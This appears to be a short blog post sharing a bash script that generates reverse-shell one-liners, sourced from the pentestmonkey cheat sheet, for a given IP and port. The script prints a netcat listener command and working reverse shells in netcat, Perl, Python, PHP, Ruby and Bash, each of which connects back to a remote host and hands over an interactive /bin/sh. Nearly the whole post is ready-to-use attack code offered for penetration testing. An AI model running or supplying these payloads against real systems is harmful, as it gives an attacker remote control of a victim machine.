This small script uses the reverse shells from : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

The script will print out all the different one liners for reverse shells using different programming languages.  If no port number is given, it will default to 443.

#!/bin/bash
# v1 one-liner-reverse-shells
# One liners source http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
IP=$1 # assigning variables
PORT=$2

# Validating input
if [ $# -eq 1 ]; then
PORT=443 # set Default port
elif [ $# -gt 2 -o $# -lt 1 ]; then
echo -e "Usage: $0 IP PORT, If no port is given default is set to 443"
exit 1
fi

echo "$(tput setaf 1)Netcat Listener: nc -lvp $PORT"
echo "Netcat : nc -e /bin/sh $IP $PORT"
echo $'\n'$(tput setaf 4)
echo 'Perl: perl -e '\''use Socket;$i="'$IP'";$p='$PORT';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'\'''
echo $'\n'$(tput setaf 2)
echo 'Python: python -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'$IP'",'$PORT'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\'''
echo $'\n'$(tput setaf 4)
echo 'PHP: php -r '\''$sock=fsockopen("'$IP'",'$PORT');exec("/bin/sh -i <&3 >&3 2>&3");'\'''
echo $'\n'$(tput setaf 1)
echo 'Ruby: ruby -rsocket -e'\''f=TCPSocket.open("'$IP'",'$PORT').to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'\'''
echo $'\n'$(tput setaf 7)
echo 'Bash: bash -i >& /dev/tcp/'$IP'/'$PORT' 0>&1'

Comments and suggestions welcome 🙂